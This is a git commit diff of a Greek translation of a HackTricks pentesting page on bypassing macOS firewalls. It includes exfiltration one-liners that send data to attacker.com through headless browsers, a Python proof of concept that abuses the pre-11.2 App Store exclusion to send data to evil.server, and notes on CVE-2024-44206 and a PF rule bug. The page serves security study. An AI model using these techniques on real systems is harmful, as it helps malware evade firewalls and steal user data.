Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-08-05 00:18:05 +00:00
parent 7920de20fd
commit 74e221a0a2

View File

@ -14,7 +14,7 @@
- Αν το firewall ζητήσει άδεια από τον χρήστη, κάντε το κακόβουλο λογισμικό να **κλικάρει στο επιτρέπω**
### **Χρήση υπογεγραμμένων δυαδικών αρχείων της Apple**
### **Χρησιμοποιήστε υπογεγραμμένα δυαδικά αρχεία της Apple**
- Όπως **`curl`**, αλλά και άλλα όπως **`whois`**
@ -34,7 +34,7 @@ lsof -i TCP -sTCP:ESTABLISHED
```
### Κατάχρηση DNS
Οι επιλύσεις DNS γίνονται μέσω της υπογεγραμμένης εφαρμογής **`mdnsreponder`**, η οποία πιθανότατα θα επιτρέπεται να επικοινωνεί με τους διακομιστές DNS.
Οι επιλύσεις DNS γίνονται μέσω της υπογεγραμμένης εφαρμογής **`mdnsreponder`** που πιθανώς θα επιτρέπεται να επικοινωνεί με τους διακομιστές DNS.
<figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
@ -53,7 +53,7 @@ end tell
```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```
- Φοίνικας
- Φοίνιξ
```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```
@ -69,8 +69,61 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
macos-proces-abuse/
{{#endref}}
---
## Πρόσφατες ευπάθειες παράκαμψης τείχους προστασίας macOS (2023-2025)
### Παράκαμψη φίλτρου περιεχομένου ιστού (Screen Time) **CVE-2024-44206**
Τον Ιούλιο του 2024, η Apple διόρθωσε ένα κρίσιμο σφάλμα στο Safari/WebKit που κατέστρεψε το σύστημα “Φίλτρο περιεχομένου ιστού” που χρησιμοποιείται από τους γονικούς ελέγχους του Screen Time.
Μια ειδικά διαμορφωμένη URI (για παράδειγμα, με διπλό URL-encoded “://”) δεν αναγνωρίζεται από το ACL του Screen Time αλλά γίνεται αποδεκτή από το WebKit, οπότε το αίτημα αποστέλλεται χωρίς φιλτράρισμα. Οποιαδήποτε διαδικασία μπορεί να ανοίξει μια URL (συμπεριλαμβανομένου του sandboxed ή unsigned κώδικα) μπορεί επομένως να φτάσει σε τομείς που είναι ρητά αποκλεισμένοι από τον χρήστη ή ένα προφίλ MDM.
Πρακτική δοκιμή (μη διορθωμένο σύστημα):
```bash
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page
```
### Bug στην παραγγελία κανόνων του Packet Filter (PF) σε πρώιμο macOS 14 “Sonoma”
Κατά τη διάρκεια του beta κύκλου του macOS 14, η Apple εισήγαγε μια αναστροφή στο wrapper του userspace γύρω από **`pfctl`**.
Οι κανόνες που προστέθηκαν με τη λέξη-κλειδί `quick` (που χρησιμοποιείται από πολλές VPN kill-switches) αγνοήθηκαν σιωπηλά, προκαλώντας διαρροές κυκλοφορίας ακόμη και όταν μια GUI VPN/firewall ανέφερε *μπλοκαρισμένο*. Το bug επιβεβαιώθηκε από αρκετούς προμηθευτές VPN και διορθώθηκε στην RC 2 (build 23A344).
Γρήγορος έλεγχος διαρροής:
```bash
pfctl -sr | grep quick # rules are present…
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
```
### Κατάχρηση υπηρεσιών βοηθού υπογεγραμμένων από την Apple (παλαιά προ-macOS 11.2)
Πριν από το macOS 11.2, η **`ContentFilterExclusionList`** επέτρεπε ~50 δυαδικά της Apple όπως το **`nsurlsessiond`** και το App Store να παρακάμπτουν όλα τα τείχη προστασίας φίλτρου υποδοχών που υλοποιήθηκαν με το πλαίσιο Network Extension (LuLu, Little Snitch, κ.λπ.).
Το κακόβουλο λογισμικό μπορούσε απλά να δημιουργήσει μια διαδικασία που εξαιρείται—ή να εισάγει κώδικα σε αυτήν—και να σήκώσει τη δική του κίνηση μέσω της ήδη επιτρεπόμενης υποδοχής. Η Apple αφαίρεσε εντελώς τη λίστα εξαιρέσεων στο macOS 11.2, αλλά η τεχνική είναι ακόμα σχετική σε συστήματα που δεν μπορούν να αναβαθμιστούν.
Παράδειγμα απόδειξης της έννοιας (προ-11.2):
```python
import subprocess, socket
# Launch excluded App Store helper (path collapsed for clarity)
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
# Connect through the inherited socket
s = socket.create_connection(("evil.server", 443))
s.send(b"exfil...")
```
---
## Συμβουλές εργαλείων για σύγχρονο macOS
1. Εξετάστε τους τρέχοντες κανόνες PF που δημιουργούν τα GUI firewalls:
```bash
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
```
2. Καταγράψτε τα δυαδικά αρχεία που ήδη κατέχουν την άδεια *outgoing-network* (χρήσιμο για piggy-backing):
```bash
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -
```
3. Προγραμματικά καταχωρίστε το δικό σας φίλτρο περιεχομένου Network Extension σε Objective-C/Swift.
Μια ελάχιστη rootless PoC που προωθεί πακέτα σε ένα τοπικό socket είναι διαθέσιμη στον πηγαίο κώδικα του **LuLu** του Patrick Wardle.
## Αναφορές
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
- <https://nosebeard.co/advisories/nbl-001.html>
- <https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html>
{{#include ../../banners/hacktricks-training.md}}